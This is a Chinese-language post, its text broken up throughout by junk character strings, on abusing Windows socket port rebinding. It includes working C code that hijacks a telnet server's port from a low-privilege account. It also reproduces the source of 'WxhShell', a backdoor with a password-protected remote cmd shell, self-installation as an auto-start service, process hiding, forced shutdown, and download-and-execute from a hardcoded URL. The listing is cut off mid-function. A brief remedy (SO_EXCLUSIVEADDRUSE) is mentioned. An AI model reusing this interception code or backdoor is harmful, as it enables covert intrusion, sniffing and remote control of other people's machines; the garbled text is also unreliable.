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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vm,f3~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P!4{#'_} fEv<W
saddr.sin_family = AF_INET; ;ow~vO,x n.)[MC} saddr.sin_addr.s_addr = htonl(INADDR_ANY); Fv7%TK{oe 44fq1<.K bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _:fO)gs|1 D-b2E6o6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gw~em r
PRuSk-f 这意味着什么?意味着可以进行如下的攻击: h^ecn-PC ~QEXB*X-g' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l_j<aCY?| kT }'" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jhEg#Q$ Jq+$_Uqd 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l3Bxi1k[C Rm\']; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 5?~[|iPv
x[O#(^q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :z0>H5 &8_#hne_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y+_5"LV Mn }Z9S[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,b.4uJg' ?od}~G4s# #include
UA!Gr3 #include ap$tu3j #include YaJ{"'} #include x 1x j\O DWORD WINAPI ClientThread(LPVOID lpParam); i\Q"a B"r int main() c]>&6-;rf { &6^W%r WORD wVersionRequested; |n6Q DWORD ret; `d|bH;w WSADATA wsaData; z)Q^j>% BOOL val; kFIB lPV SOCKADDR_IN saddr; ng&EGM SOCKADDR_IN scaddr; ?#EXG int err; J"2ODB5" SOCKET s; FG5c:Ep SOCKET sc; ?"8A^
^ int caddsize; WO(&<(? HANDLE mt; C"Y]W-Mgg DWORD tid; 3Llj_lf wVersionRequested = MAKEWORD( 2, 2 ); Zqs-I8y err = WSAStartup( wVersionRequested, &wsaData ); L]}RSE2 if ( err != 0 ) { 2bn@:71` printf("error!WSAStartup failed!\n"); ">vYEkZ3 return -1; k@";i4}A } Rn~Xu)@e saddr.sin_family = AF_INET; ME10dr _hyxKrm'
6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aEqI51I n40MP5RxY saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lKhh=Pc2 saddr.sin_port = htons(23); SX=0f^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <sCq
x/L { !E:Vn *k; printf("error!socket failed!\n"); %Rsf6rJ return -1; =Wy`X0h } .iN*V|n val = TRUE; nM.?Q}yO~ //SO_REUSEADDR选项就是可以实现端口重绑定的 Nj-rZ%& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :k )<1ua { eZod}~J8 printf("error!setsockopt failed!\n"); ocuVDC return -1; |o=\9:wV } !>2\OSp! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v{{2<,l //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +l?ro[#6&. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 73z|'0. vwH7/+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >eTgP._ { oJJk ret=GetLastError(); ]vkHU6d printf("error!bind failed!\n"); .f<VmUca return -1; fYQi#0drn } +$QL0|RL listen(s,2); '/Cz{<, while(1) Ce'2lo { Y$$?8xr
~ caddsize = sizeof(scaddr); 2l(j
4~g //接受连接请求 j% USu+& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8(/f!~ if(sc!=INVALID_SOCKET) P ~
pbx { KIBZQ.uG mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c)!s[o L if(mt==NULL) %3+hz$E { fQ.>G+0I> printf("Thread Creat Failed!\n"); zcWxyLifl0 break; RGA*7 } 5m7Ax]\ } xOyL2 CloseHandle(mt); P5xmLefng } wYMX1= closesocket(s); XhD fI
& WSACleanup(); *n_4Rr return 0; 8Gg/M%wq9U } ZUJOBjb`
K DWORD WINAPI ClientThread(LPVOID lpParam) RowiSW { g7LW?Ewr SOCKET ss = (SOCKET)lpParam; ,Ve@=< SOCKET sc; LP-Q'vb<= unsigned char buf[4096]; z(X6%p0 SOCKADDR_IN saddr; j"sO<Q{6% long num; J9=0?^v-:B DWORD val; JIKxY$GS DWORD ret; EM
w(%}8w //如果是隐藏端口应用的话,可以在此处加一些判断 })SdaZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 T_%]#M saddr.sin_family = AF_INET; @d^h/w saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )9 jQ_ saddr.sin_port = htons(23); 8 (h if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h}&IlDG { N_Ld,J%g printf("error!socket failed!\n"); OwIy(ukTI return -1; 9Zsb1 M!n> } 8si^HEQ8 val = 100; ~[y+B0I3 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) de47O { ({nSs5)$ ret = GetLastError(); Od]xIk+E return -1; \` ^Tbn: } fToI,FA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5t?2B] { VX[!Vh ret = GetLastError();
5g>kr<K return -1; >b?)WNk } z ;Nk& <? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R./ 6Q1 { K/+C6Y? printf("error!socket connect failed!\n"); 10IPq#Jj closesocket(sc); c+/C7C o closesocket(ss); iQ"F`C return -1; I8;[DP9 } F/>Pvq] while(1) ^tcBxDC"] { azc:C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Hbc&.W;g7[ //如果是嗅探内容的话,可以再此处进行内容分析和记录 +##I4vP //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NB+O; num = recv(ss,buf,4096,0); X
hX'*{3k if(num>0) kK|+W, send(sc,buf,num,0); !*UdY( else if(num==0) a`iAA1HJ break; W(4?#lA2W num = recv(sc,buf,4096,0); "q/M8 if(num>0) AV3,4u send(ss,buf,num,0); :Ia&,;Gc else if(num==0) |bnjC $b * break; XqH<)B
] } AK?j1Pk closesocket(ss); p=gUcO8 closesocket(sc); 7zZ|=W?&{ return 0 ; :
X|7l?{xW } J3^Z PW g"?D>}@= |UO;StF ========================================================== ta.,4R&K F]#fl% 下边附上一个代码,,WXhSHELL gSYX @'Q! ):ZumG#o ========================================================== }l!_m.#e 0N ;d)3 #include "stdafx.h" !r0P\ zRFM/IYC #include <stdio.h> z5vI0 N$ #include <string.h> V<pjR@ #include <windows.h> pPpnO #include <winsock2.h> {K8T5zrV #include <winsvc.h> -V/i%_+Ze #include <urlmon.h> S\!E;p 0*@S-Lj^c #pragma comment (lib, "Ws2_32.lib") D +""o"% #pragma comment (lib, "urlmon.lib") jloyJ@ck Ib2pV2`h( #define MAX_USER 100 // 最大客户端连接数 |R/50axI #define BUF_SOCK 200 // sock buffer (SA*9% #define KEY_BUFF 255 // 输入 buffer L]<4{8H. TJ:Lz]l > #define REBOOT 0 // 重启 UdJV;T'rm #define SHUTDOWN 1 // 关机 |h/2'zd^- ,0~TvJS #define DEF_PORT 5000 // 监听端口 $7d"9s\$" $u"$mg7x #define REG_LEN 16 // 注册表键长度 p
n>`v #define SVC_LEN 80 // NT服务名长度 R,1 ,4XT ^0-=(JrC // 从dll定义API pk1M.+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F|Q#KwN typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^T,cXpx| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I0RWdOK8K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *$D-6}Oay y8z%s/gRh // wxhshell配置信息 &}1)]6q$ struct WSCFG { ,$-PC=Ti( int ws_port; // 监听端口 l:f
sZO4 char ws_passstr[REG_LEN]; // 口令 ?s33x# int ws_autoins; // 安装标记, 1=yes 0=no cyNLeg+O* char ws_regname[REG_LEN]; // 注册表键名 Q~_x%KN/` char ws_svcname[REG_LEN]; // 服务名 bp,CvQ'}a char ws_svcdisp[SVC_LEN]; // 服务显示名 EdpR| z char ws_svcdesc[SVC_LEN]; // 服务描述信息 e r$ 'c char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GK&Dd"v int ws_downexe; // 下载执行标记, 1=yes 0=no E76:}( char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" BUyA] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z-(HDn P\e%8&_U/ }; F9W5x=EK\ a~>h'}C> // default Wxhshell configuration :6V8 struct WSCFG wscfg={DEF_PORT, }DaYO\:yK* "xuhuanlingzhe", kM`#U
*j 1, W$S.?[X "Wxhshell", |3m%d2V*hF "Wxhshell", uLF55:`< "WxhShell Service", >k|[U[@ "Wrsky Windows CmdShell Service", e_V(G "Please Input Your Password: ", p;Kr664 1, >B7OTGw " http://www.wrsky.com/wxhshell.exe", :^a$ve3(Jq "Wxhshell.exe" ,-)1)R\. }; /$(D>KU vNGvEJ`qn // 消息定义模块 {IWb:p#I] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2l?J9c}Wo char *msg_ws_prompt="\n\r? for help\n\r#>"; 7ow1=%Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; +E4_^ char *msg_ws_ext="\n\rExit."; ^h=kJR9 char *msg_ws_end="\n\rQuit."; h6/Z_Y char *msg_ws_boot="\n\rReboot..."; Lt_]3go char *msg_ws_poff="\n\rShutdown..."; l1WVt} char *msg_ws_down="\n\rSave to "; 9OUhV[D S}X:LHr* char *msg_ws_err="\n\rErr!"; 4NV1v&" char *msg_ws_ok="\n\rOK!"; p~IvkW>ln) )A%Y
wI$ char ExeFile[MAX_PATH]; tO7{g int nUser = 0; x]Ef}g HANDLE handles[MAX_USER]; `2B+8,{% int OsIsNt; ~vmY2h\ )
|vFrR SERVICE_STATUS serviceStatus; soF ^G21N SERVICE_STATUS_HANDLE hServiceStatusHandle; v0=~PN~E ,dBI=D' // 函数声明 m='OnTeOE int Install(void); tPsU7bFk int Uninstall(void); odDt.gQXU int DownloadFile(char *sURL, SOCKET wsh); DxHeZQ"LL int Boot(int flag); 7f>n`nq? void HideProc(void); &kvVMnok int GetOsVer(void); qb&*,zN int Wxhshell(SOCKET wsl); t
At+5H void TalkWithClient(void *cs); J++D\x#@ int CmdShell(SOCKET sock); )Pq.kn{Sp int StartFromService(void); xXZN<<f59 int StartWxhshell(LPSTR lpCmdLine); X*KT=q^?n |4vk@0L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P;Ox| VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]7;;uhn` ']Z8C)tK // 数据结构和表定义 \#slZ;&s SERVICE_TABLE_ENTRY DispatchTable[] = Lst5 { :[doYizk: {wscfg.ws_svcname, NTServiceMain}, lV8Mr6m {NULL, NULL} N5^:2ag }; J3=jC5=J4 R)/w
// 自我安装 _EP}el int Install(void) I$$!YMm.N { i+}M#Y-O char svExeFile[MAX_PATH]; lgl/|
^ Uw HKEY key; S:gP\Atf> strcpy(svExeFile,ExeFile); r_G`#Z_5F !SnpesTn // 如果是win9x系统,修改注册表设为自启动 tBrVg<]t if(!OsIsNt) { F~EriO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k.%F!sK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m`Z4#_s2 RegCloseKey(key); @y +Wl*: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qcqf9g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v!2`hqO RegCloseKey(key); A!c.P2 return 0; ZD3S|1zSQ } f4q-wX_1 } Jy9&=Qh } 3I]5DW %- else { vsK>?5{C- H
X8q+ // 如果是NT以上系统,安装为系统服务 ZYG"nmNd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AWw'pgTQX if (schSCManager!=0) ^#+9v { \2Yh I0skW SC_HANDLE schService = CreateService J{H475GqiT ( }U9e#>ex schSCManager, d<]/,BY' wscfg.ws_svcname, !T}`h' wscfg.ws_svcdisp, 7r>^_ aW SERVICE_ALL_ACCESS, Ex<loVIrP$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;k>{I8L~ SERVICE_AUTO_START, FXbNmBXF SERVICE_ERROR_NORMAL, D3eK!'qS svExeFile,
&f[[@EF7 NULL, ipsNiFv: NULL, so;aN'{6@ NULL, bz1\EkLL NULL, bkb}M)C NULL {+!_; zzZ ); PqfH}d0l if (schService!=0) ^pn:SV { gbvBgOp CloseServiceHandle(schService); t^q/'9Ai&J CloseServiceHandle(schSCManager); `| fF)kI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N3,EF1% strcat(svExeFile,wscfg.ws_svcname); l!
GPOmf9` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aD.A +e s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D`u{U] RegCloseKey(key); Ou/{PK} return 0; mWZVO,t$ } A/9 w r } 7JbN WN CloseServiceHandle(schSCManager); [.2>=3T } O?P6rXKr } f.!cR3XgV 74Lq!e3hMF return 1; h-<+Pj c } d6uL;eR )9}z^+TH // 自我卸载 }RXm=ArN int Uninstall(void) wDn5|F}i& { "F=O HKEY key; _]B'C
m$]?Jq if(!OsIsNt) { ZW2U9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HR4^+x RegDeleteValue(key,wscfg.ws_regname); (u *-( RegCloseKey(key); $ #CkI09 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w!61k \ RegDeleteValue(key,wscfg.ws_regname); IyMKV$" RegCloseKey(key); +ft?aB@ return 0; s+aeP } ;:v:pg8qc } <MoWS9s!yb } |',Gy\Sj else { B7cXbUAQs WO|#`HM2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a4c~ThbI if (schSCManager!=0) l/Sb JrM* { ondF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nP] ~8ViS if (schService!=0) 'En 6h" { { \ZXH(N*>2t if(DeleteService(schService)!=0) { ]2?t$"G8 CloseServiceHandle(schService); Z O&5C6qa CloseServiceHandle(schSCManager); NI3_wV return 0; `U)~fu/\2M } }yUZ(k# CloseServiceHandle(schService); b*7OIN5h } <Dl7|M CloseServiceHandle(schSCManager); nT:ZSJWM } O0e6I&u: } SwLul4V h&&ufF]D return 1; $Die~rPU } O.}{s; d&F8nBIM5 // 从指定url下载文件 ~i(X{^,3 int DownloadFile(char *sURL, SOCKET wsh) ~qs97' { 4\>Cnc{ HRESULT hr; O",:0< char seps[]= "/"; 3#W> char *token; 2-FL&DE char *file; VGkwrS;+I char myURL[MAX_PATH]; t=5K#SX} char myFILE[MAX_PATH]; 7&E3d P %6L{Z *( strcpy(myURL,sURL); ,'[0tl}8K token=strtok(myURL,seps); OQA}+XO while(token!=NULL) Fe}Dnv)}Z { !M6*A1g5 file=token; S-GcH token=strtok(NULL,seps); Jc/*w } 0KE+RzrB {U>B\D GetCurrentDirectory(MAX_PATH,myFILE); qy"#XbBeV strcat(myFILE, "\\"); TN4gGky! strcat(myFILE, file); W-2,QVp% send(wsh,myFILE,strlen(myFILE),0); YhRES]^ send(wsh,"...",3,0); YP/BX52v hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6Gwk*%sb if(hr==S_OK) h,45-#+ return 0; `$7.(.#s else uPhFBD7 return 1; :>] =YE 4u0=/pfi[ } K}LmU{/t/ Pd6 p)zj // 系统电源模块 WL:CBE# int Boot(int flag)
pO[ @2tF { x[zt(kC0+ HANDLE hToken; D:4Iex9$F" TOKEN_PRIVILEGES tkp; (w}iEm\b )[i0~o[ if(OsIsNt) { W$=Ad * OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8HDYA$L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (
$A0b tkp.PrivilegeCount = 1; }KcvNK ( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \9N1: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z_Qs^e$ if(flag==REBOOT) { ,3 =|a|p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) },lHa!<^ return 0; 8>%:MS" } $hXhq*5|c else { PRg^E4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &'Pwz return 0; 2r4owB? } h\k@7wgu } c 2t<WRG else { @9Rgg9r if(flag==REBOOT) { R7pdwKD if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `fYICp return 0; -{n2^vvF } ge
%ytrst else { /}t>o*
x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (e.?). e return 0; &@NTedg! } aNs~Uad1U } }8`W%_Yk
[uqe|< : return 1; Q8OA{EUtq } l];w,(u{ q$x$ 4 // win9x进程隐藏模块 ,rc?,J1l void HideProc(void) o."k7fLB { 84 5a%A$ w/&)mm{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dNK Q&TC if ( hKernel != NULL ) $R6iG\V5 { o}O" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oe$&X& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?tx%KU\3 FreeLibrary(hKernel); >U. } Ad$CHx- rKxIOJ ,T return;
0N9`WK } nE;^xMOK! t+y$i@R: // 获取操作系统版本 e1ts/@V int GetOsVer(void) DO6Tz-%o { !D#wSeJ OSVERSIONINFO winfo; q=Xd a0c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 742sqHx GetVersionEx(&winfo); a_}k^zw( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =)QtE|p,77 return 1; {<$ D|<S else %8C,9q return 0; <j\osw1R } 3>vSKh1z {P/ sxh:e // 客户端句柄模块 V;}kgWc1 int Wxhshell(SOCKET wsl) V}=%/OY? { T .#cd1b SOCKET wsh; k_d) struct sockaddr_in client; ^jY/w>UdH DWORD myID; FVY$A=G w(/#isC while(nUser<MAX_USER) CVxqNR*DN { -QPM$ int nSize=sizeof(client); DpA"5RV wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bzj9U>eY if(wsh==INVALID_SOCKET) return 1; < 7 ct o+W}k handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d}B_ wz' if(handles[nUser]==0) B"; >zF closesocket(wsh); '?$N.lj$d else /w[B,_ZKTk nUser++; "&9L } xbUL./uj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5l_ >QB 4S9hz return 0; +`jI z'+ } ahJ-T@ TTGk"2
Q' // 关闭 socket "Sx}7?8AB void CloseIt(SOCKET wsh) WC0gJy { oY
NIJXln closesocket(wsh); }253Q!f nUser--; xvpCOoGsz ExitThread(0);
PeU>h2t } %5 [,U)X" =@ SJyW // 客户端请求句柄 8)KA {gN} void TalkWithClient(void *cs) BIJlU(aF { 3$ 'eDa[ <xn96|$ SOCKET wsh=(SOCKET)cs; 8,VX%CS#q char pwd[SVC_LEN]; xJcM1>cT> char cmd[KEY_BUFF]; yiT)m]E
d char chr[1]; TK! D=M int i,j; 5Yxs_t4 &PE/\_xD_ while (nUser < MAX_USER) { NI<;L m &<Iyb}tA? if(wscfg.ws_passstr) { `qXCY^BH2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E\$7tXQK6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ox|K2A //ZeroMemory(pwd,KEY_BUFF); `S)*(s?T i=0; s8O.yL while(i<SVC_LEN) { (Ci{fY6` !<EQVqj6 // 设置超时 pwIu;:O!? fd_set FdRead; UgqfO( struct timeval TimeOut; QXaE2}}P FD_ZERO(&FdRead); 3)ZdT{MY FD_SET(wsh,&FdRead); = n>aJ(=Pd TimeOut.tv_sec=8; {.r
jp`39 TimeOut.tv_usec=0; [c`u int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?=^~(x?S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B)L=)N &gv{LJd5b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %)t9b@c!} pwd =chr[0]; J 7/)XS if(chr[0]==0xd || chr[0]==0xa) { Q$`u=-h| pwd=0; isF
jJPe break; g %ZKn } 2SABu796j i++; \h{M\bSIEa } @nNhW M9PzA'}4W6 // 如果是非法用户,关闭 socket Id(wY$C&> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HNMVs]/e } P&g.%8b~84 n1E^8[~' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bdxmJ9a:R send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L/+KY_b:* s7
K](T4 while(1) { q8=hUD%5C #Rw9Iy4 ZeroMemory(cmd,KEY_BUFF); ^.Xom~ *LA2@9l // 自动支持客户端 telnet标准
'F .tOD j=0; @lO(QpdG while(j<KEY_BUFF) { cUDo}Yu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rzk-_AFR cmd[j]=chr[0]; {y\5 9 if(chr[0]==0xa || chr[0]==0xd) { _=g;K+%fb cmd[j]=0; #"PRsMUw break; =QG0:z)K<v } {=Y3[ j++; 'P`L?/_3 } wI{ED 6@X j // 下载文件 <\6<-x(H5 if(strstr(cmd,"http://")) { .29y3}[PO send(wsh,msg_ws_down,strlen(msg_ws_down),0); tR{@NFUcu if(DownloadFile(cmd,wsh)) $LXz
Q>w9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); BIK^<_?+ZU else ;zpSyyp@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 13f@Ox$ } _?m%i]~o else { QE\t}> j~#nJI5] switch(cmd[0]) { ;*AKeI2 [W*xPXr* // 帮助 %Jb/HWC[ case '?': { bAkCk]>5 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]A#K;AW{U break; +jv&V%IL } M[}aQWT$v // 安装 ^DaP^<V case 'i': { I<}<!.Bc! if(Install()) ?E2$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,bU8S\8 else h+"UK= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c&]nAn( break; }z|@X KA# } 49Y_ze6L} // 卸载 0DQ\akh case 'r': { PSR21; if(Uninstall()) B{dR/q3;@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); xA7Aw0 else 8~6H\.0Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h!4jl0oX] break; s<hl>vY_' } Kc,=J?Ob // 显示 wxhshell 所在路径 ->q^$#e case 'p': { {g@?\ char svExeFile[MAX_PATH]; wusj;v4C4M strcpy(svExeFile,"\n\r"); QGkMT+A strcat(svExeFile,ExeFile); 65g"$:0 send(wsh,svExeFile,strlen(svExeFile),0); 7#G8qh< break; 8
mFy9{M } <,\Op=$l3I // 重启 NW
AT" case 'b': { 9`8D Ga send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R32A2Ml if(Boot(REBOOT)) KN\*|) send(wsh,msg_ws_err,strlen(msg_ws_err),0); #J_+
SL[ else { L2$`S'U W closesocket(wsh); BnwYyh ExitThread(0); or)v:4PXW } ^v+3qm@, break; s/cclFji] } =IC
cN| // 关机 R/BW$4/E case 'd': { J.;{`U=: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xJemc3]2 if(Boot(SHUTDOWN)) ijuIf9! send(wsh,msg_ws_err,strlen(msg_ws_err),0); >dU.ic?19 else { z<h?WsL closesocket(wsh); ?mME^?x
Mu ExitThread(0); |9&bkojo } ]A%S&q break; 'Io2",~
M } `COnb@uD // 获取shell >$ok3-tuU case 's': { a* GiLq CmdShell(wsh); ) h>H}wDs closesocket(wsh); )i$:iI
>k ExitThread(0); D$&LCW#x break; Lo-\;%y } iFBH;O_~ // 退出 /'<Qk' case 'x': { S9@2-Oc send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6vL+qOd x CloseIt(wsh); CG397Y^ break; <^v-y)%N:A } Hp}d m93T // 离开 NBaXfWh case 'q': { 7sglqf> send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ao}J closesocket(wsh); )/4xR] WSACleanup(); 8F(Vd99I exit(1); +@5@`"Jry break; T:?01?m } FM=-^l, } Ce~
a(J|" } 0[QVU,]< =E~)svl6g // 提示信息 tg|7\Z7i if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Aav|N3 } -q6d&D'B+ } QgB%\mO= @Y| % return; RX6s[uQ } S1&Df%Ra Y[p // shell模块句柄 Rk(2|I int CmdShell(SOCKET sock)
~d\>f { f0Zn31c^ STARTUPINFO si; PZB_6!}2[F ZeroMemory(&si,sizeof(si)); iM'rl0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z($h7TZ$ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /GUbc PROCESS_INFORMATION ProcessInfo; J*}Qnl + char cmdline[]="cmd"; ?loP18S
b CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R.rxpJ+kU return 0; W{js9$oJ } Z.x9SEe1t @Z{!T)#}j // 自身启动模式 o%1dbbh int StartFromService(void) XI8rU)q { ]%I}hjJ typedef struct Oqy&V&-C { eABLBsx DWORD ExitStatus; ^}\!Sn DWORD PebBaseAddress; '"~ 2xiin DWORD AffinityMask; KDUa0$" DWORD BasePriority; 4qe!+!#$ ULONG UniqueProcessId; \&Bvh4Q ULONG InheritedFromUniqueProcessId; stcbM } PROCESS_BASIC_INFORMATION; d|Q_Z@;JF |',$5!:0O PROCNTQSIP NtQueryInformationProcess; H}}g\|r& %"{jNC? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [t.x cO static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?Gr2@,jlD 6Q}WX[| tQ HANDLE hProcess; Dqh
